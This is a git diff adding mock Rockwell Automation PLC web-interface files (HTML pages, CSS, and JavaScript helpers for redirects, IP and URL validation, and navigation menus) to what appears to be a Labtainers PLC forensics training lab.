a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editlimits_files/editlimits.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editlimits_files/editlimits.html new file mode 100644 index 000000000..9fb4deee4 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editlimits_files/editlimits.html @@ -0,0 +1,120 @@ + + +Rockwell Automation + + + + + + + + + +
+ + + + + + + + +
Edit UsersEdit Access Limits
+ + + + + + + +

+ + + + +
+ + + +
+ + + + + +
DeleteAccess LimitGroup With + Access
+
+ + + +
+ + + + + + + + + +
Add an + Access Limit
URL:
Group:

+ + + +
+ + + + + + + + + +
RA + System Access Limits
Hide System Access + Limits
 Restore + Default System Limits +
diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editlimits_files/editlimits_files/URLhandle.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editlimits_files/editlimits_files/URLhandle.js new file mode 100644 index 000000000..369106f2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editlimits_files/editlimits_files/URLhandle.js @@ -0,0 +1,87 @@ +function redirect(URL) +{ + parent.frames.home.location.href = URL +} + +function isValidURL(url) +{ + var RegExp = /^(\/([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)*(\?(&?([-+_~.\d\w]|%[a-fA-f\d]{2,2})=?)*)?(#([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)?$/; + if(RegExp.test(url)){ + return true; + }else{ + return false; + } +} + +function parseQuery() +{ + var querystr + var queryindex + querystr = "" + parent.parent.document.location.href + + if ((queryindex = querystr.indexOf('?')) != -1) + { + querystr = querystr.substring(queryindex + 1) + + if ((queryindex = querystr.indexOf('redirect=')) != -1) + { + querystr = querystr.substring(queryindex + 9) + if (isValidURL(querystr) && (querystr != this.location.pathname)) + { + redirect (querystr) + } + + } + else // invalid query string + alert("Invalid Query String") + } +} + +function frame_check() +{ + + if (top == self) + + { + var newUrl = "/index.html?redirect=" + document.location.pathname; + var replaceOK = true; + + if (navigator.appName.indexOf("Microsoft") > -1) + { + if (parseInt(navigator.appVersion) < 4) + { + replaceOK = false; + } + } + + if (replaceOK) + { + location.replace(newUrl); + } + else + { + document.location.href = newUrl; + } + } + + if (self){ + if (self.name == "home") { + top.frames.home.focus(); + } + } +} + +function highlightTree(url) +{ + var treeframe= parent.frames.navtree; + + if (treeframe.highlighted != 0) + { + treeframe.overColor(treeframe.highlighted, "#bcbcbc"); + } + + var treeobj= treeframe.document.getElementById(url); + + treeframe.overColor(treeobj, "#dedede"); + treeframe.highlighted= treeobj; +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editlimits_files/editlimits_files/border.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editlimits_files/editlimits_files/border.gif new file mode 100644 index 000000000..d81911ea2 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editlimits_files/editlimits_files/border.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editlimits_files/editlimits_files/javaConfirm.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editlimits_files/editlimits_files/javaConfirm.js new file mode 100644 index 000000000..d0156a96c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editlimits_files/editlimits_files/javaConfirm.js @@ -0,0 +1,123 @@ +function jsConfirm(msg_text) { return confirm(msg_text); } + +function URLvalidate(url) { + var re = /^\/([^\\:\*\?"<>\|\/]{1,80}\/){0,63}([^\\:\*\?"<>\|\/]{1,80})?$/; + if (re.test(url)) { + return true; + } else { + alert("The URL appears invalid. A filename must not contain any of the following characters:\n\\ / : * ? < > |\n\nA valid URL begins with a leading slash (/), must contain fewer than 64 path segments, and each segment must be less than or equal to 80 characters in length."); + return false; + } +} + +function addrValidate(address, addrType) +{ + ipArray = new Array(4); + + var re = /^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/; + if (re.test(address)) { + var parts = address.split("."); + + if ((parseInt(parseFloat(parts[0])) == 0)&&(addrType != "GW")) { return false; } + + for (var i=0; i 255)||(parts[i] != Math.abs(parts[i]))) { return false; }// no negative numbers + } + + if ((addrType == "IP") || (addrType == "NS")) // ip, gateway, nameserver have first octet restrictions + { + if((parseInt(parseFloat(parts[0])) == 0) || (parseInt(parseFloat(parts[0])) == 127) || (parseInt(parseFloat(parts[0])) > 223)) + { return false; } + } + return true;} + else { + if((addrType == "GW") || (addrType == "NS")) + { + return true; // blank gateway or nameservers is valid. + } + else + { + return false; + } + } + } + +function isValidIP (ipaddr) +{ + var re = /^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/; + if (re.test(ipaddr)) { + var ipArray = ipaddr.split("."); + if (parseInt(parseFloat(ipArray[0])) == 0) { return false; } + for (var i=0; i 255)||(ipArray[i] != Math.abs(ipArray[i]))) { return false; }// no negative numbers + } + if (ipArray[0] < 128) { + if (ipArray[0] == 0 || (ipArray[1] == 0 && ipArray[2] == 0 && ipArray[3] == 0)) return false; // host or network all zeros + if (ipArray[1] == 255 && ipArray[2] == 255 && ipArray[3] == 255) return false; // host is all ones + if (ipArray[0] == 127) return false; // network is all ones + } else if (ipArray[0] < 192) { + if ((ipArray[0] = 128 && ipArray[1] == 0) || (ipArray[2] == 0 && ipArray[3] == 0)) return false; // host or network all zeros + if (ipArray[2] == 255 && ipArray[3] == 255) return false; // host is all ones + if (ipArray[0] == 191 && ipArray[1] == 255) return false; // network is all ones + } else if (ipArray[0] < 224) { + if ((ipArray[0] == 192 && ipArray[1] == 0 && ipArray[2] == 0) || ipArray[3] == 0) return false; // host or network all zeros + if (ipArray[3] == 255) return false; // host is all ones + if (ipArray[0] == 223 && ipArray[1] == 255 && ipArray[2] == 255) return false; // network is all ones + } else return false; // Unsupported address class + return true;} + else { + return false; + } +} + +function isValidSubnet (subnetAddr) +{ + var i, subnet = 0; + var mask = 0x00000001, count = 1; + + + var re = /^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/; + if (re.test(subnetAddr)) { + var ipArray = subnetAddr.split("."); + + if (parseInt(parseFloat(ipArray[0])) == 0) { return false; } + + for (var i=0; i 255)||(ipArray[i] != Math.abs(ipArray[i]))) { return false; }// no negative numbers + subnet |= (parseInt(parseFloat(ipArray[i])) << (8 * (3 - i))); + } + + + done = false; + for (i=0; i<4; i++) { + if (ipArray[i] == 255) { + if (done) return false; + } else if ((ipArray[i] == 254) || (ipArray[i] == 252) || (ipArray[i] == 248) || (ipArray[i] == 240) || (ipArray[i] == 224) || (ipArray[i] == 192) || (ipArray[i] == 128)) { + if (!done) done = true; + else return false; + } else if (ipArray[i] == false) { + if (!done) done = true; + } else { + return false; + } + } + + return true;} + else { + return false; + } + +} + +function isValidEmail(emailAddr) +{ + var regexpr = /^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/ + + return regexpr.test(emailAddr); +} + +function isValidHostname(hostname) { + var regexpr = /^[a-zA-Z]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?(\.[a-zA-Z]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?)*$/ + + return regexpr.test(hostname); +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editlimits_files/editlimits_files/mensepoffon.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editlimits_files/editlimits_files/mensepoffon.gif new file mode 100644 index 000000000..0853fe34b Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editlimits_files/editlimits_files/mensepoffon.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editlimits_files/editlimits_files/menubgoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editlimits_files/editlimits_files/menubgoff.gif new file mode 100644 index 000000000..793d82e8a Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editlimits_files/editlimits_files/menubgoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editlimits_files/editlimits_files/menubgon.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editlimits_files/editlimits_files/menubgon.gif new file mode 100644 index 000000000..fbcdbb48f Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editlimits_files/editlimits_files/menubgon.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editlimits_files/editlimits_files/menuendbg.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editlimits_files/editlimits_files/menuendbg.gif new file mode 100644 index 000000000..e31e6823a Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editlimits_files/editlimits_files/menuendbg.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editlimits_files/editlimits_files/menuendon.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editlimits_files/editlimits_files/menuendon.gif new file mode 100644 index 000000000..6fae98a1a Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editlimits_files/editlimits_files/menuendon.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editlimits_files/editlimits_files/menustartoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editlimits_files/editlimits_files/menustartoff.gif new file mode 100644 index 000000000..b55bbc1fd Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editlimits_files/editlimits_files/menustartoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editlimits_files/editlimits_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editlimits_files/editlimits_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editlimits_files/editlimits_files/radevice.css @@ -0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editlimits_files/header.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editlimits_files/header.html new file mode 100644 index 000000000..c42fb2b14 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editlimits_files/header.html @@ -0,0 +1,16 @@ + + +Rockwell Automation + + + + + + + + + +
diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editlimits_files/header_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editlimits_files/header_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editlimits_files/header_files/radevice.css @@ -0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editlimits_files/header_files/spacer.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editlimits_files/header_files/spacer.gif new file mode 100644 index 000000000..5bfd67a2d Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editlimits_files/header_files/spacer.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editlimits_files/navtree.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editlimits_files/navtree.html new file mode 100644 index 000000000..2d5a31006 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editlimits_files/navtree.html @@ -0,0 +1,267 @@ + + +Rockwell Automation Tree Navigation + + + + + + + + + + + +
+ +
+ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editlimits_files/navtree_files/email.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editlimits_files/navtree_files/email.gif new file mode 100644 index 000000000..e8588e5d2 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editlimits_files/navtree_files/email.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editlimits_files/navtree_files/folder.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editlimits_files/navtree_files/folder.gif new file mode 100644 index 000000000..22b4defae Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editlimits_files/navtree_files/folder.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editlimits_files/navtree_files/navtree.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editlimits_files/navtree_files/navtree.css new file mode 100644 index 000000000..6985e5d08 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editlimits_files/navtree_files/navtree.css @@ -0,0 +1,33 @@ +IMG { + BORDER-RIGHT: medium none; BORDER-TOP: medium none; BORDER-LEFT: medium none; BORDER-BOTTOM: medium none +} +A:link { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:visited { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:unknown { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:hover { + DISPLAY: block; COLOR: #333333; BACKGROUND-COLOR: white; TEXT-DECORATION: none +} +.entry { + PADDING-RIGHT: 3px; PADDING-LEFT: 0px; FONT-SIZE: 10px; PADDING-BOTTOM: 0px; CURSOR: hand; COLOR: #333333; PADDING-TOP: 2px; FONT-FAMILY: Verdana; BACKGROUND-COLOR: #bcbcbc +} +.branch { + PADDING-RIGHT: 3px; DISPLAY: none; PADDING-LEFT: 15px; FONT-SIZE: 10px; PADDING-BOTTOM: 0px; CURSOR: hand; COLOR: #333333; PADDING-TOP: 1px; FONT-FAMILY: Verdana; BACKGROUND-COLOR: #bcbcbc +} +.scrollbarstyle { + SCROLLBAR-FACE-COLOR: #a0a0a0; SCROLLBAR-HIGHLIGHT-COLOR: #b7b6b6; SCROLLBAR-SHADOW-COLOR: #555555; SCROLLBAR-ARROW-COLOR: #ffffff; SCROLLBAR-BASE-COLOR: #cccccc; scrollbar-3d-Light-Color: #EEEEEE; scrollbar-Dark-Shadow-Color: #222222 +} +A.treehead:link { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} +A.treehead:visited { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} +A.treehead:hover { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editlimits_files/navtree_files/navtree.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editlimits_files/navtree_files/navtree.js new file mode 100644 index 000000000..ffaf5ccad --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editlimits_files/navtree_files/navtree.js @@ -0,0 +1,117 @@ +function highlightView(current) +{ + if (highlighted != 0) + { + overColor(highlighted, "#bcbcbc"); + } + + overColor(current, "#dedede"); + highlighted= current; + + if (eval("typeof(parent.timeoutPntr)") != 'undefined') // clear any pending refreshes from another page + parent.window.clearTimeout(parent.timeoutPntr); +} + +function showBranch(branch) +{ + var objBranch; + objBranch = document.getElementById(branch).style + + if (objBranch.display == "block") + { + objBranch.display="none"; + } + else + { + objBranch.display="block"; + } + + top.frames.home.focus(); +} + +function branchState(branch, state) +{ + objBranch = document.getElementById(branch).style + + if (state == "expand") + { + objBranch.display="block"; + } + else + { + objBranch.display="none"; + } +} +function swapFolder(img) +{ + objImg = document.getElementById(img); + + if (objImg.src.indexOf('/images/folder.gif') > -1) + { + objImg.src = openImg.src; + } + else + { + objImg.src = closedImg.src; + } +} + +function folderState(img, state) +{ + objImg = document.getElementById(img); + if (state == "expand") + { + objImg.src = openImg.src; + } + else + { + objImg.src = closedImg.src; + } +} + +function overColor(object, color) +{ + object.style.backgroundColor= color; +} + +function outColor(object, color) +{ + + if (object == highlighted) + { + color= "#dedede"; + } + + object.style.backgroundColor= color; +} + +function changeAll(state) +{ + // change all folder images + folderState("f_data_views", state); + folderState("f_diagnostics", state); + folderState("f_admin_settings", state); + folderState("f_device_config", state); + folderState("f_user_manage", state); + folderState("f_server_manage", state); + folderState("f_adv_diagnostics", state); + folderState("f_enet_ip", state); + folderState("f_network", state); + folderState("f_controlbus", state); + folderState("f_misc", state); + + // expand all branches + branchState("b_data_views", state); + branchState("b_diagnostics", state); + branchState("b_admin_settings", state); + branchState("b_device_config", state); + branchState("b_user_manage", state); + branchState("b_server_manage", state); + branchState("b_adv_diagnostics", state); + branchState("b_enet_ip", state); + branchState("b_network", state); + branchState("b_controlbus", state); + branchState("b_misc", state); + + top.frames.home.focus(); +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editlimits_files/navtree_files/paper.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editlimits_files/navtree_files/paper.gif new file mode 100644 index 000000000..aa94332ce Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editlimits_files/navtree_files/paper.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editlimits_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editlimits_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editlimits_files/radevice.css @@ -0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editlimits_files/redirect.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editlimits_files/redirect.html new file mode 100644 index 000000000..5226f9bb2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editlimits_files/redirect.html @@ -0,0 +1,9 @@ + + + + + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editlimits_files/redirect_files/URLhandle.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editlimits_files/redirect_files/URLhandle.js new file mode 100644 index 000000000..369106f2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editlimits_files/redirect_files/URLhandle.js @@ -0,0 +1,87 @@ +function redirect(URL) +{ + parent.frames.home.location.href = URL +} + +function isValidURL(url) +{ + var RegExp = /^(\/([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)*(\?(&?([-+_~.\d\w]|%[a-fA-f\d]{2,2})=?)*)?(#([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)?$/; + if(RegExp.test(url)){ + return true; + }else{ + return false; + } +} + +function parseQuery() +{ + var querystr + var queryindex + querystr = "" + parent.parent.document.location.href + + if ((queryindex = querystr.indexOf('?')) != -1) + { + querystr = querystr.substring(queryindex + 1) + + if ((queryindex = querystr.indexOf('redirect=')) != -1) + { + querystr = querystr.substring(queryindex + 9) + if (isValidURL(querystr) && (querystr != this.location.pathname)) + { + redirect (querystr) + } + + } + else // invalid query string + alert("Invalid Query String") + } +} + +function frame_check() +{ + + if (top == self) + + { + var newUrl = "/index.html?redirect=" + document.location.pathname; + var replaceOK = true; + + if (navigator.appName.indexOf("Microsoft") > -1) + { + if (parseInt(navigator.appVersion) < 4) + { + replaceOK = false; + } + } + + if (replaceOK) + { + location.replace(newUrl); + } + else + { + document.location.href = newUrl; + } + } + + if (self){ + if (self.name == "home") { + top.frames.home.focus(); + } + } +} + +function highlightTree(url) +{ + var treeframe= parent.frames.navtree; + + if (treeframe.highlighted != 0) + { + treeframe.overColor(treeframe.highlighted, "#bcbcbc"); + } + + var treeobj= treeframe.document.getElementById(url); + + treeframe.overColor(treeobj, "#dedede"); + treeframe.highlighted= treeobj; +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editusers.html 